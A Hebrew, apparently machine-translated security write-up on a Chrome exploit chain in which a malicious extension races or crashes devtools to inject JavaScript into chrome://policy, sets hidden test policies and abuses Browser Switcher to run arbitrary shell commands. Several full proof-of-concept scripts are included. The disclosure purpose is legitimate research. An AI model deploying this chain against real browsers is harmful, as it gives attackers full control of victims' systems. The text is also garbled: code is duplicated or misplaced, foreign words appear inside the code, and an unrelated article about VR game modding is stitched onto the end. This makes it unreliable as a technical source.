בקיצור, הבאגים אפשרו לתוסף זדוני של Chrome לבצע כל פקודת מעטפת במחשב, שעלול לשמש להתקנת תוכנות זדוניות מסוכנות יותר. במקום פשוט לגנוב סיסמאות ולסכן את הדפדפן, תוקף יכול לקבל שליטה מלאה על מערכת ההפעלה.
WebUI ו-Chrome Sandbox
כל הקוד הלא מהימן המופעל ב-Chromium הוא בארגז חול, כלומר הוא פועל בסביבה מבודדת ללא גישה לנתונים לא מורשים. בפועל, זה אומר שקוד JavaScript הפועל בתוסף של כרום יכול לקיים אינטראקציה רק עם עצמו ועם ממשקי ה-API הזמינים לתוסף. גישה לממשקי API אלה תלויה בהרשאות שניתנו על ידי המשתמש. עם זאת, במקרה הגרוע ביותר, עם הרשאות כאלה אתה יכול רק לגנוב כניסות והיסטוריית דפדפן. הכל צריך להישאר בתוך הדפדפן.
בנוסף, Chromium משתמש במספר דפים כדי להציג את ה-GUI באמצעות מנוע ה-WebUI. לדפים אלה יש את קידומת פרוטוקול כתובת האתר chrome:// וכוללים דפים כגון chrome://settings ו-chrome://history. מטרתם היא לספק למשתמש ממשק לאינטראקציה עם פונקציונליות Chromium, שפותחה באמצעות טכנולוגיות אינטרנט כגון HTML, CSS ו-JavaScript. מכיוון שדפים אלה מציגים ומשנים מידע הקשור לחלקים פנימיים של הדפדפן, הם נחשבים למועדפים ויש להם גישה לממשקי API פרטיים המשמשים רק כאן. ממשקי API אלה מאפשרים לקוד JavaScript בצד ה-WebUI לקיים אינטראקציה עם קוד C++ המקורי של הדפדפן עצמו.
מניעת תוקף מגישה לדפי WebUI חשובה מכיוון שקוד הפועל בדף WebUI יכול לעקוף לחלוטין את ארגז החול של Chromium. לדוגמה, בדף chrome://downloads, לחיצה כדי להוריד קובץ .exe מפעילה את קובץ ההפעלה, ואם פעולה זו מבוצעת על ידי סקריפט זדוני, היא עלולה להימלט מארגז החול.
ביצוע קוד JavaScript לא מהימן בדפי chrome:// הוא וקטור התקפה נפוץ, כך שהקצה המקבל של ממשקי API פרטיים מבצע אימות כדי להבטיח שהוא לא מבצע פעולות שהמשתמש לא יכול לבצע באופן ידני. אם נחזור לדוגמא של chrome://downloads, Chromium מגן מפני תרחיש זה על ידי דרישה שכדי לפתוח קובץ מדף ההורדות, הפעולה חייבת להיות מופעלת על ידי קלט משתמש בפועל ולא רק קוד JavaScript.
כמובן, לפעמים יש יוצאים מן הכלל שמפתחי Chromium לא סיפקו.
לגבי מדיניות תאגיד
החיפוש אחר הפגיעות החל בלימוד מערכת המדיניות הארגונית של Chromium . זה מיועד למנהלי מערכת להחיל הגדרות על מכשירים שבבעלות חברה או בית ספר. בדרך כלל, מדיניות משויכת לחשבון Google ומורידה משרת הניהול של Google.
מדיניות תאגיד כוללת גם את אלו שהמשתמש לא יכול היה לשנות בעצמו. לדוגמה, באמצעות מדיניות אתה יכול להשבית את ביצת הפסחא – משחק עם דינוזאור:
בנוסף, מדיניות מחולקת לשתי קטגוריות: מדיניות משתמשים ומדיניות מכשירים.
- מדיניות מכשיר משמשת לניהול הגדרות בכל מכשיר ה-Chrome OS שלך. אלה עשויים לכלול הגבלות פשוטות על כניסה לחשבון שלך או הגדרת ערוץ עדכון. חלקם יכולים אפילו לשנות את אופן פעולת הקושחה של המכשיר (לדוגמה, מניעת מצב מפתחים או החזרת מערכת ההפעלה לאחור). עם זאת, מכיוון שפגיעות זו אינה משפיעה על מערכת ההפעלה של Chrome, ניתן להתעלם ממדיניות המכשיר כאן.
- מדיניות המשתמש חלה על משתמש או מופע דפדפן ספציפי. שלא כמו מדיניות מכשירים, הם זמינים בכל הפלטפורמות וניתן להגדיר אותם באופן מקומי במקום להסתמך על שרתי Google. לדוגמה, ב-Linux, קובץ JSON המוצב ב- /etc/opt/chrome/policies מגדיר את מדיניות המשתמש עבור כל המופעים של Google Chrome במכשיר.
הגדרת מדיניות משתמש בצורה זו היא מעט לא נוחה, מכיוון שכתיבה לספריית המדיניות דורשת זכויות שורש. עם זאת, מה אם הייתה דרך לשנות מדיניות זו מבלי ליצור קובץ?
WebUI עבור מדיניות
יש לציין כי ל-Chromium יש WebUI לצפייה במדיניות החלה על המכשיר בכתובת chrome://policy. הוא מציג רשימה של מדיניות יישומית, יומני שירותי מדיניות, ומאפשר לך לייצא מדיניות זו לקובץ JSON.
זה שימושי, אבל בדרך כלל לא תוכל לערוך מדיניות מדף זה. אלא אם כן, כמובן, יש פונקציה לא מתועדת שמאפשרת לך לעשות זאת.
שימוש בדף בדיקת המדיניות
במהלך חקירת הנושא, מצאתי את הסעיף הבא בהערות הגרסה עבור Chrome Enterprise for Chrome v117:
Chrome יציג את דף chrome://policy/test
chrome://policy/test יאפשר ללקוחות לבדוק מדיניות בערוצי הביטא, הפיתוח והקנרי. אם יש מספיק בקשות, פונקציונליות זו עשויה להתווסף לערוץ היציב.
התברר שזה המקום היחיד בתיעוד Chromium בו מוזכרת הפונקציה הזו. ללא מקורות אחרים, קוד המקור של Chromium נבדק כדי להבין את פעולתו.
חיפוש chrome://policy/test ב-Chromium Code Search הביא לקוד WebUI JS עבור דף מדיניות הבדיקה, שבו נמצאו קריאות API פרטיות להגדרת מדיניות בדיקה:
מחלקת ייצוא PolicyTestBrowserProxy { applyTestPolicies(policies: string, profileSeparationResponse: string) { return sendWithPromise('setLocalTestPolicies', policys, profileSeparationResponse); } ... }
כאמור, לדפי WebUI יש גישה לממשקי API פרטיים, ו-sendWithPromise() הוא אחד מהם. פונקציה זו היא עטיפה סביב chrome.send(), אשר שולחת בקשה למטפל ב-C++. לאחר מכן המטפל מבצע את הפעולות הדרושות בתוך הדפדפן ויכול להחזיר ערך שהועבר בחזרה לצד ה-JS באמצעות sendWithPromise().
אז נעשה ניסיון לקרוא לזה בקונסולת JS.
//import cr.js, מכיוון שאנו צריכים sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");
לרוע המזל, ביצוע הפקודה גרם לדפדפן לקרוס. השורה הבאה הופיעה ביומן השגיאות:
[17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] בדיקה נכשלה: policies.has_value() && policies->is_list(). רשימת מדיניות צפויה
נראה שהטיעון הראשון מצפה למחרוזת JSON עם מערך של מדיניות, וזה הגיוני. בואו נספק אחד. למרבה המזל, policy_test_browser_proxy.ts אומר לך באיזה פורמט להשתמש, ומבטל את הניחוש.
נראה שהטיעון הראשון מצפה למחרוזת JSON עם מערך של מדיניות, וזה הגיוני. בואו נספק אחד. למרבה המזל, policy_test_browser_proxy.ts אומר לך באיזה פורמט להשתמש, ומבטל את הניחוש.
let cr = await import('chrome://resources/js/cr.js'); let policy = JSON.stringify([ { name: "AllowDinosaurEasterEgg", ערך: false, level: 1, source: 1, scope: 1 } ]); await cr.sendWithPromise("setLocalTestPolicies", policy, "");
לאחר הפעלת הפקודה, התברר שהכל עבד: ניתן להגדיר מדיניות משתמש מותאמת אישית על ידי הפעלת JavaScript בעמוד chrome://policy. ברור שמשהו השתבש כאן מכיוון שהתכונה לא הופעלה במפורש.
אימות WebUI לא מספיק
לשם הבהירות, כך אמור להיראות דף בדיקת המדיניות אם הוא מופעל כהלכה.
כדי להפעיל דף זה, עליך להגדיר את מדיניות PolicyTestPageEnabled (שגם היא אינה מתועדת בשום מקום). אם מדיניות זו אינה מופעלת בתחילה, chrome://policy/test פשוט מפנה בחזרה אל chrome://policy.
נשאלת השאלה: מדוע הותקנו מדיניות בדיקה למרות שמדיניות PolicyTestPageEnabled הושבתה? נעשה שימוש שוב בחיפוש קוד Chromium כדי למצוא את התשובה, ונמצא מטפל ב-WebUI עבור הפונקציה setLocalTestPolicies בצד C++.
void PolicyUIHandler::HandleSetLocalTestPolicies( const base::Value::List& args) { std::string policy = args[1].GetString(); policy::LocalTestPolicyProvider* local_test_provider = static_cast( g_browser_process->browser_policy_connector() ->local_test_policy_provider()); CHECK(local_test_provider); פרופיל::FromWebUI(web_ui()) ->GetProfilePolicyConnector() ->UseLocalTestPolicyProvider(); local_test_provider->LoadJsonPolicies(מדיניות); AllowJavascript(); ResolveJavascriptCallback(args[0], true); }
הבדיקה היחידה שפונקציה זו מבצעת היא לבדוק את נוכחותו של local_test_provider; אחרת הדפדפן פשוט יוצא. אבל באילו מקרים יכול להתקיים local_test_provider?
כדי לענות על שאלה זו, נמצא קוד שיוצר ספק מדיניות בדיקה מקומי.
void PolicyUIHandler::HandleSetLocalTestPolicies( const base::Value::List& args) { std::string policy = args[1].GetString(); policy::LocalTestPolicyProvider* local_test_provider = static_cast( g_browser_process->browser_policy_connector() ->local_test_policy_provider()); CHECK(local_test_provider); פרופיל::FromWebUI(web_ui()) ->GetProfilePolicyConnector() ->UseLocalTestPolicyProvider(); local_test_provider->LoadJsonPolicies(מדיניות); AllowJavascript(); ResolveJavascriptCallback(args[0], true); }
פונקציה זו למעשה בודקת אם מדיניות בדיקה מותרת. אם הם אינם מותרים, הפונקציה מחזירה null וניסיון להגדיר את מדיניות הבדיקה כפי שמוצג לעיל ייכשל.
אולי IsPolicyTestingEnabled() אינו פועל כהלכה? כך נראית הפונקציה הזו:
bool IsPolicyTestingEnabled(PrefService* pref_service, version_info:: ערוץ ערוץ) { if (pref_service && !pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) { return false; } if (channel == version_info::Channel::CANARY || ערוץ == version_info::Channel::DEFAULT) { return true; } החזר false; }
פונקציה זו בודקת תחילה אם kPolicyTestPageEnabled מוגדר כ-true, שהיא המדיניות שבדרך כלל תאפשר את דף בדיקת המדיניות. עם זאת, ראוי לציין שכאשר נקרא IsPolicyTestingEnabled() הארגומנט הראשון, pref_service, מוגדר ל-null. זה גורם להתעלמות מהמחאה.
לפיכך, כל שנותר הוא לבדוק את הערוץ. בהקשר זה, "ערוץ" פירושו ערוץ השחרור של הדפדפן, שיכול להיות יציב, בטא, dev או canary. במקרה זה, רק Channel::CANARY ו- Channel::DEFAULT מותרים. לכן, הדפדפן מוגדר לאחד מהערוצים הללו.
האם הדפדפן יודע באיזה ערוץ הוא נמצא? הנה פונקציה שמגדירה את זה:
ChannelState GetChannelImpl() { #if BUILDFLAG(GOOGLE_CHROME_BRANDING) const char* const env = getenv("CHROME_VERSION_EXTRA"); const std::string_view env_str = env ? std::string_view(env) : std::string_view(); if (env_str == "יציב") החזר {version_info::Channel::STABLE, /*is_extended_stable=*/false}; if (env_str == "מורחב") החזר {version_info::Channel::STABLE, /*is_extended_stable=*/true}; if (env_str == "ביתא") החזר {version_info::Channel::BETA, /*is_extended_stable=*/false}; if (env_str == "לא יציב") // גרסת לינוקס של "dev" החזר {version_info::Channel::DEV, /*is_extended_stable=*/false}; if (env_str == "canary") { return {version_info::Channel::CANARY, /*is_extended_stable=*/false}; } #endif return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false}; }
מבלי להבין את המעבד המקדים של C, החלק #if BUILDFLAG(GOOGLE_CHROME_BRANDING) אומר שהקוד המוקף בו יקומפילד רק אם BUILDFLAG(GOOGLE_CHROME_BRANDING) נכון. במילים אחרות, אם אתה משתמש ב-Chromium רגיל ולא בגוגל כרום ממותג, הערוץ תמיד יהיה Channel::UNKNOWN. זה גם אומר שלמרבה הצער, הבאג לא יעבוד בבנייה יציבה של Google Chrome, מכיוון שערוץ השחרור מוגדר לערך הנכון.
enum class Channel { UNKNOWN = 0, Default = UNKNOWN, CANARY = 1, DEV = 2, BETA = 3, STABLE = 4, };
בהסתכלות על ההגדרה של ספירת הערוצים, תבחין כי ערוץ::UNKNOWN הוא למעשה זהה ל-Channel::DEFAULT. כך, ב-Chromium ובנגזרותיו, מבחן הערוצים ב-IsPolicyTestingEnabled() תמיד יעבור, והפונקציה תמיד תחזיר true.
יציאה מארגז החול באמצעות מחליף דפדפן
כעת נשאלת השאלה: מה ניתן לעשות עם היכולת להגדיר מדיניות משתמש שרירותית? כדי לענות על שאלה זו, נבדקה רשימה של המדיניות הארגונית של Chrome.
אחת היכולות של מדיניות ארגונית היא מודול התמיכה בדפדפן מדור קודם, הידוע גם בשם Switcher Browser. הוא מיועד למשתמשי Internet Explorer על ידי מתן דפדפן חלופי להפעלה בעת ביקור בכתובות URL מסוימות ב-Chromium. ניתן לשלוט בכל ההתנהגויות של תכונה זו באמצעות מדיניות.
מדיניות AlternativeBrowserPath בלטה במיוחד. בשילוב עם AlternativeBrowserParameters, זה מאפשר ל-Chromium להפעיל כל פקודת מעטפת כ"דפדפן חלופי". עם זאת, ראוי לציין שזה עובד רק על לינוקס, macOS ו-Windows, מכיוון שמדיניות החלפת הדפדפן לא קיימת במערכת הפעלה אחרות.
בואו נגדיר את המדיניות הבאה כדי לאלץ את Chromium להפעיל את המחשבון:
name: "BrowserSwitcherEnabled" value: true name: "BrowserSwitcherUrlList" ערך: ["example.com"] name: "AlternativeBrowserPath" ערך: "/bin/bash" שם: "AlternativeBrowserParameters" ערך: ["-c", "xcalc # ${url}"]
בכל פעם שהדפדפן מנסה לעבור ל-example.com, מחליף הדפדפן מופעל, ומריץ /bin/bash. ["-c", "xcalc # https://example.com" ] מועברים כארגומנטים האפשרות -c אומרת ל-bash לבצע את הפקודה שצוינה בארגומנט הבא }, וכדי שזה לא הפריע לביצוע הפקודה, אתה יכול פשוט להוסיף # שהופך אותה להערה בדרך זו, אתה יכול לאלץ את Chromium להפעיל את הפקודה /bin/bash -c 'xcalc # https ://example.com' ;
השימוש בזה בדף chrome://policy הוא די פשוט. אתה רק צריך להגדיר את המדיניות שלמעלה ולהתקשר ל-window.open(" https://example.com" ) כדי להפעיל את מחליף הדפדפן.
let cr = await import('chrome://resources/js/cr.js'); let policy = JSON.stringify([ { //enable the Browser Switcher name function: "BrowserSwitcherEnabled", value: true, level: 1, source: 1, scope: 1 }, {//set the URL שבה מחליף הדפדפן שם יעבוד: "BrowserSwitcherUrlList", ערך: ["example.com"], רמה: 1, מקור: 1, scope: 1 }, { //set the path name path: "AlternativeBrowserPath", ערך: "/bin/ bash", רמה : 1, מקור: 1, scope: 1 }, { //setting ארגומנטים עבור שם קובץ ההפעלה: "AlternativeBrowserParameters", ערך: ["-c", "xcalc # https://example.com" ], רמה: 1 , מקור: 1, היקף: 1 } ]); //הגדרת המדיניות לעיל await cr.sendWithPromise("setLocalTestPolicies", policy, ""); //עבור אל example.com, אשר מפעיל את מחליף הדפדפן window.open("https://example.com")
הנה הדרך לצאת מארגז החול. הצליח לבצע פקודת מעטפת שרירותית באמצעות JavaScript הפועל ב-chrome://policy.
פריצת API של Devtools
אתה יכול לראות שכדי לבצע את ההתקפה הזו, הקורבן צריך להדביק קוד זדוני בקונסולת הדפדפן בזמן שהוא נמצא בדף chrome://policy. לשכנע מישהו לעשות זאת הוא די קשה, מה שהופך את הפגיעות לחסרת תועלת. אז עכשיו המטרה היא איכשהו להפעיל אוטומטית את JavaScript הזה בדף chrome://policy.
הדרך הסבירה ביותר לעשות זאת היא ליצור תוסף זדוני של Chrome. לתוספי כרום יש משטח התקפה משמעותי מכיוון שמטבעם הם יכולים להחדיר JavaScript לדפים. עם זאת, כפי שכבר צוין, על תוספים אסור להפעיל JavaScript בדפי WebUI מועדפים, ולכן היינו צריכים למצוא דרך לעקוף את ההגבלה הזו.
ישנן ארבע דרכים עיקריות שבהן תוסף יכול להפעיל JavaScript בדפים:
- chrome.scripting , שמבצע ישירות JavaScript בכרטיסייה ספציפית.
- chrome.tabs ב- Manifest v2 , שפועל בדומה ל-chrome.scripting.
- chrome.debugger , המשתמש בפרוטוקול איתור באגים מרחוק.
- chrome.devtools.inspectedWindow , המקיים אינטראקציה עם הדף הנבדק כאשר ה-devtools פתוחים.
כאשר חקרו את השיטות הללו, ההתמקדות הייתה ב- chrome.devtools.inspectedWindow מכיוון שנראה שהיא הכי פחות מאובטחת. הנחה זו התבררה כנכונה.
ה-API של chrome.devtools פועל בצורה כזו שכל התוספים שמשתמשים בו חייבים לכלול שדה devtools_page במניפסט שלהם. לְדוּגמָה:
let cr = await import('chrome://resources/js/cr.js'); let policy = JSON.stringify([ { //enable the Browser Switcher name function: "BrowserSwitcherEnabled", value: true, level: 1, source: 1, scope: 1 }, {//set the URL שבה מחליף הדפדפן השם יעבוד: "BrowserSwitcherUrlList", ערך: ["example.com"], רמה: 1, מקור: 1, scope: 1 }, { //הגדר את שם נתיב ההפעלה: "AlternativeBrowserPath", ערך: "/bin/bash", רמה: 1, מקור: 1, scope: 1 }, { //הגדר את הארגומנטים עבור שם קובץ ההפעלה: "AlternativeBrowserParameters" , value: ["-c", "xcalc # https://example.com"], רמה: 1, מקור: 1, scope: 1 } ]); //הגדרת המדיניות לעיל await cr.sendWithPromise("setLocalTestPolicies", policy, ""); //עבור אל example.com, אשר מפעיל את מחליף הדפדפן window.open("https://example.com")
כלומר, בכל פעם שהמשתמש פותח את devtools, דף devtools טוען את devtools.html כ-iframe. בתוך iframe זה, התוסף יכול להשתמש בכל ממשקי ה-API של chrome.devtools. ניתן למצוא פרטים בתיעוד ה-API.
במהלך חקירת ה-API של chrome.devtools.inspectedWindow, התוודענו לבאג קודם שדווח על ידי David Erceg הקשור ל-chrome.devtools.inspectedWindow.eval(). הוא הצליח להביא את הקוד לביצוע ב-WebUI על ידי פתיחת כלי המפתחים בדף רגיל ולאחר מכן הפעלת chrome.devtools.inspectedWindow.eval() עם סקריפט שגרם לדף לקרוס. לאחר מכן ניתן היה להפנות את הכרטיסייה הכושלת הזו לדף WebUI שבו בקשת ה-eval תבוצע מחדש, ובכך יבוצע הקוד.
ראוי לציין כי ה-API של chrome.devtools אמור למנוע ביצוע פעולות מיוחסות כאלה על ידי השבתת השימוש בהן לאחר שהדף הנבדק מנותב ל-WebUI. כפי שהראה הדוח של David Erceg, המפתח לעקוף מגבלה זו הוא לשלוח את בקשת ההחלפה לפני ש-Chrome משבית את ה-API של כלי המפתחים ולוודא שהבקשה מנותבת לדף ה-WebUI.
לאחר קריאת הדוח, עלתה המחשבה שניתן לנסות משהו דומה עם chrome.devtools.inspectedWindow.reload(). פונקציה זו מסוגלת גם להפעיל JavaScript בעמוד שהיא בודקת אם הפרמטר injectedScript מועבר אליו.
האינדיקציה הראשונה לכך שזה עלול להיות פגיע הגיעה כאשר היה ניסיון לקרוא ל-inspectedWindow.reload() כאשר הדף הנבדק היה דף ריק הקשור ל-WebUI. דפי אודות הם ייחודיים במובן זה מכיוון שלמרות שכתובת האתר שלהם אינה מיוחדת, הם יורשים את ההרשאות והמקור מהדף שפתח אותם. מכיוון שדף האודות שנפתח מה-WebUI הוא פריבילגי, אתה יכול לצפות שניסיון להפעיל JavaScript בדף זה ייחסם.
באופן מפתיע, זה באמת עבד. שימו לב שהכותרת בהתראה מציגה את מקור העמוד, שהוא chrome://settings, המאשר את הרשאות העמוד. אבל האם ה-API של כלי המפתחים לא היה צריך למנוע זאת על ידי השבתת ה-API לחלוטין? מסתבר שזה לא מתייחס למקרי קצה עם בערך דפים. להלן הקוד שמטפל בהשבתת ה-API:
private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent): void { if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) { this.disableExtensions(); לַחֲזוֹר; } ... }
חשוב לציין שרק כתובת האתר מסומנת, לא מקור העמוד. כפי שהוצג קודם לכן, אלה עשויים להשתנות. גם אם כתובת האתר אינה חשודה, המקור עשוי להיות בעל הרשאה.
השימוש ב- about נוח, אבל לא מאוד שימושי בהקשר של יצירת שרשרת ניצול. הדף chrome://policy שבו אני רוצה להפעיל את הקוד לעולם לא פותח שום דבר לגבי חלונות קופצים
, אז הנתיב הזה כבר סגור. עם זאת, נצפה שלמרות ש-inspectedWindow.eval() נכשל, הקריאה ל-inspectedWindow.reload() עדיין הצליחה והוציאה לפועל JavaScript ב-chrome://settings. זה הציע של-inspectedWindow.eval() יש בדיקות משלו כדי להבטיח שהמקור של הדף הנבדק מותר, בעוד ל-inspectedWindow.reload() אין בדיקות משלו.
m קרא inspectedWindow.reload(), כך שאם לפחות אחת מהבקשות הללו תפגע בדף ה-WebUI, היא תוודא שהקוד מבוצע.
private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent): void { if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) { this.disableExtensions(); לַחֲזוֹר; } ... }
זהו המרכיב האחרון בשרשרת הניצול. המירוץ הזה נגד הזמן מסתמך על העובדה שהדף הנבדק ודף כלי המפתחים הם תהליכים שונים. כאשר הניווט מתרחש ב-WebUI בדף שנבדק, יש חלון זמן קטן עד שדף כלי המפתחים מזהה זאת ומשבית את ה-API. אם מתבצעת קריאה ל-inspectedWindow.reload() במהלך מרווח זה, בקשת טעינה מחדש תישלח לדף ה-WebUI.
שילוב של כל האלמנטים
כעת, כשכל השלבים התפעוליים פעלו, קוד הוכחת הרעיון (PoC) החל. לסיכום: PoC זה צריך לעשות את הפעולות הבאות:
- השתמש במירוץ נגד השעון ב-chrome.devtools.inspectedWindow.reload() כדי להפעיל קוד JavaScript בכתובת chrome://policy.
- קוד זה קורא sendWithPromise("setLocalTestPolicies", policy) כדי להגדיר מדיניות מותאמת אישית.
- הגדר את BrowserSwitcherEnabled, BrowserSwitcherUrlList, AlternativeBrowserPath ו-AlternativeBrowserParameters, תוך ציון /bin/bash כ"דפדפן חלופי".
- הפעלת מתג דפדפן היא קריאה פשוטה ל-window.open(), המריץ פקודת מעטפת.
ה-PoC הסופי נראה כך:
תן לקובץ הפעלה, דגלים; if (navigator.userAgent.includes("Windows NT")) { executable = "C:\\Windows\\System32\\cmd.exe"; flags = ["/C", "calc.exe & rem ${url}"]; } else if (navigator.userAgent.includes("Linux")) { executable = "/bin/bash"; flags = ["-c", "xcalc # ${url}"]; } else if (navigator.userAgent.includes("Mac OS")) { executable = "/bin/bash"; flags = ["-c", "open -na מחשבון # ${url}"]; } function inject_script() { chrome.devtools.inspectedWindow.reload({"injectedScript": ` (async () => { if (!origin.startsWith("chrome://")) return; let cr = await import( 'chrome://resources/js/cr.js'); let policy = JSON.stringify([ { name: "BrowserSwitcherEnabled", ערך: true, level: 1, source: 1, scope: 1 }, { name: "BrowserSwitcherUrlList", value: ["example.com"], level: 1, source: 1, scope: 1 }, { name: "AlternativeBrowserPath ", value: ${JSON.stringify(executable)}, רמה: 1, מקור: 1, scope: 1 }, { name: "AlternativeBrowserParameters", ערך: ${JSON.stringify(flags)}, רמה : 1, מקור: 1, scope: 1 } ]) ; () => { location.href = "https://example.com"; open("https://www.securitylab.ru/analytics/about:blank" } , 100 }) ()` }); } function start_interval() { setInterval(() => { for (let i=0; i<3; i++) { inject_script(); } }); } פונקציית אסינכרון main() { // מידע על סקריפט תוכן start_interval(); // שיטת הבדיקה של chrome://policy let tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId); await chrome.tabs.update(tab.id, {url: "chrome://policy"}); // Если ожидание завершилось неудачей, нужно повторить или прервать выполнение await new Promise((resolve) =>0 {setTimeout,1(0); let new_tab = await chrome.tabs.get(tab.id); // Если мы на странице политики, סקריפט תוכן אינו זמין if (new_tab.url.startsWith("chrome://policy")) { await chrome.tabs.update(tab.id, {url: tab.url}); setTimeout(() => { chrome.tabs.discard(tab.id); }, 100); } else { location.reload(); } } main();
ועם זה, כל שלבי ה-PoC הושלמו. קוד הוכחת מושג נכתב, נבדק במספר מערכות הפעלה והוגש לגוגל.
עם זאת, עדיין הייתה בעיה אחת: המירוץ נגד השעון עם .inspectedWindow.reload() לא היה אמין מספיק. במהלך הבדיקה, הצלחנו להגדיר אותו כך שיפעל בהצלחה בכ-70% מהמקרים, וזה עדיין לא מספיק. אף על פי שהאפשרות שתופעל הפכה את הפגיעות לחמורות, חוסר מהימנות יפחית את משמעותה. לכן החלו החיפושים אחר פתרון יציב יותר.
גישה מוכרת
בדו"ח שלו, דיוויד ארסג השתמש בעובדה שהודעות ניפוי באגים נמשכות לאחר קריסת כרטיסייה. היה מעניין לראות אם השיטה הזו עובדת גם עם .inspectedWindow.reload(), אז היא נבדקה. כמו כן נוספה פקודת באגים, והתברר שביצועה פעמיים גרם לכרטיסייה לקרוס.
PoC חדש
let tab_id = chrome.devtools.inspectedWindow.tabId; function inject_script() { chrome.devtools.inspectedWindow.reload({"injectedScript": ` if (!origin.startsWith("chrome://")) { debugger; return; } alert("שלום מ-chrome.devtools.inspectedWindow .reload");` }); } function sleep(ms) { return new Promise((resolve) => {setTimeout(resolve, ms)}); } פונקציית async main() { await chrome.tabs.update(tab_id, {url: "https://example.org/"}); להמתין לישון (500); chrome.devtools.inspectedWindow.reload({"injectedScript": `location.href = "https://www.securitylab.ru/analytics/about:blank";`}); להמתין לישון (500); inject_script(); inject_script(); להמתין לישון (500); chrome.tabs.update(tab_id, {url: "chrome://settings"}); } main();
וזה עובד! היתרון של גישה זו הוא שהיא מבטלת את הצורך במירוץ נגד הזמן, מה שהופך את הניצול לאמין ב-100%. PoC זה באמצעות chrome://policy פורסם לאחר מכן כתגובה בשרשור דיווח הבאגים.
מדוע עדיין קיימת טעות כזו, למרות שנראה שהיה צריך לבטל אותה לפני 4 שנים? התשובה טמונה באופן ההחלה של התיקון הקודם. גוגל טיפלה בפגיעות על ידי ניקוי כל הודעות ניפוי הבאגים הממתינות לאחר קריסת כרטיסייה. עם זאת, נוספה חריגה עבור בקשות Page.reload כדי למנוע את הסרתן. לפיכך, קריאות ל-Page.reload היו פטורות למעשה מהגנה זו, מה שהפך את הבאג לאפשרי שוב.
התשובה של גוגל
לאחר הגשת הדוח, גוגל אישרה במהירות את הפגיעות והקצתה לה סיווג P1/S1, כלומר עדיפות וחומרה גבוהים. במהלך השבועות הבאים יושמו התיקונים הבאים:
- הוספת ארגומנט loaderId לפקודת Page.reload ובדיקת ה-loaderID בצד המעבד מבטיחות שהפקודה תקפה למקור יחיד ומונעת ממנה להפעיל על דף מיוחס.
- בדיקת כתובת ה-URL בפונקציה inspectedWindow.reload() – כעת הפונקציה אינה תלויה רק ב-API של ההרחבה לביטול גישה.
- בדיקת הפעלת מדיניות בדיקה ב-WebUI Handler – הוספת בדיקת זמן ריצה לפונקציות המטפל מונעת התקנת מדיניות בדיקה כלל.
הפגיעות בזמן מירוץ דווחה בסופו של דבר כ-CVE-2024-5836 עם ציון CVSS של 8.8 (גבוה). פגיעות התרסקות הדף שנבדקה קיבלה את המזהה CVE-2024-6778 וגם דורגה ב-8.8.
לאחר ביצוע התיקונים והתמזגו, נשלח דוח לפאנל VRP של Chrome כדי לקבוע את הפרס. 20,000 דולר שולמו עבור גילוי הפגיעות הזו.
ציר זמן
- 16 באפריל – התגלתה פגיעות במדיניות בדיקה
- 29 באפריל – שגיאת מצב המירוץ נמצאה ב-inspectedWindow.reload()
- 1 במאי – דוח נשלח לגוגל
- 4 במאי – גוגל הקצתה את סטטוס הפגיעות P1/S1
- 5 במאי – זוהתה שגיאה עם קריסה של הדף שנבדק, הדוח עודכן
- 6 במאי – גוגל ביקשה דוחות נפרדים לכל חלק בשרשרת
- 8 ביולי – דוח מסומן כתוקן
- 13 ביולי – דוח נשלח ללוח VRP Chrome כדי לקבוע תגמולים
- 17 ביולי – פאנל VRP קבע את התגמול ב-$20,000
- 15 באוקטובר – הדו"ח כולו הפך לפומבי
מַסְקָנָה
ההשלכה הגדולה מכל זה היא שאם אתה מסתכל במקומות הנכונים, הטעויות הפשוטות ביותר יכולות להצטבר וליצור פגיעות בהיקף גבוה באופן בלתי צפוי. אתה גם לא יכול לסמוך על אבטחת הקוד שנכתב לפני זמן רב, מכיוון שהבאג ב-inspectedWindow.reload קיים מאז Chrome v45.
לבסוף, אין להפעיל תכונות לא מתועדות לחלוטין, לא שלמות ולא בטוחות לכל המשתמשים, כפי שקרה עם הבאג של דף הבדיקה של המדיניות. לאחר תיקון הפגיעות, כדאי לבדוק האם קיימים באגים דומים ולנסות לסגור גם אותם.
את דוח הבאג המקורי ניתן למצוא כאן: crbug.com/338248595
כמו כן, ה-POC עבור כל שלב של הפגיעות זמין במאגר ב- GitHub.
בעולם משחקי המחשב המודרניים, הגבול בין וירטואלי לאמיתי הולך ונהיה דק יותר. טכנולוגיות VR פותחות אופקים חדשים לטבילה בעולמות המשחק, אך השילוב שלהן בפרויקטים קיימים נותר אתגר טכני קשה. זה נכון במיוחד למשחקים שלא נועדו במקור ל-VR. כאן באות לידי ביטוי שיטות מתקדמות של ניתוח ושינוי תוכנה, המאפשרות לך להרחיב את יכולות המשחקים הרבה מעבר לפונקציונליות המקורית.
עבודה זו היא מחקר מפורט של שיטות מתקדמות לניתוח תוכנות גיימינג באמצעות הדוגמה של פרויקט UEVR (Unreal Engine Virtual Reality). הפרויקט השאפתני הזה שואף להוסיף תמיכה מלאה במציאות מדומה למשחקים המבוססים על Unreal Engine, ועושה זאת בצורה אוניברסלית שאינה דורשת התאמה אישית לכל משחק ספציפי.
במסגרת המחקר, נבחן מכלול שיטות מודרניות לניתוח, שינוי ואף פריצה של תוכנות, החל מסריקת חתימות מסורתית ועד לטכניקות אמולציה וביצוע סימבוליים מתקדמות.
חלק 1: יסודות תיאורטיים ומתודולוגיה
מבוא לבעיה
כאשר דנים בשיטות לשינוי ופריצה של משחקים, יש צורך לזהות מיד נקודה חשובה: רוב הטכניקות המתוארות כבר מזמן בשימוש בהצלחה בתעשיית אבטחת המידע. עבודה זו אינה מתיימרת להיות שיטות חדשות, אלא מדגימה את התאמתן למשימות ספציפיות בתעשיית המשחקים, בפרט, לחיפוש פונקציות, משתנים ומבני נתונים ביישומי משחקים.
חשוב להדגיש כי כל הטכניקות המתוארות מיועדות אך ורק למטרות מחקר ומודינג משפטי, ולא ליצירת תוכנות זדוניות או עקיפת מערכות אבטחה.
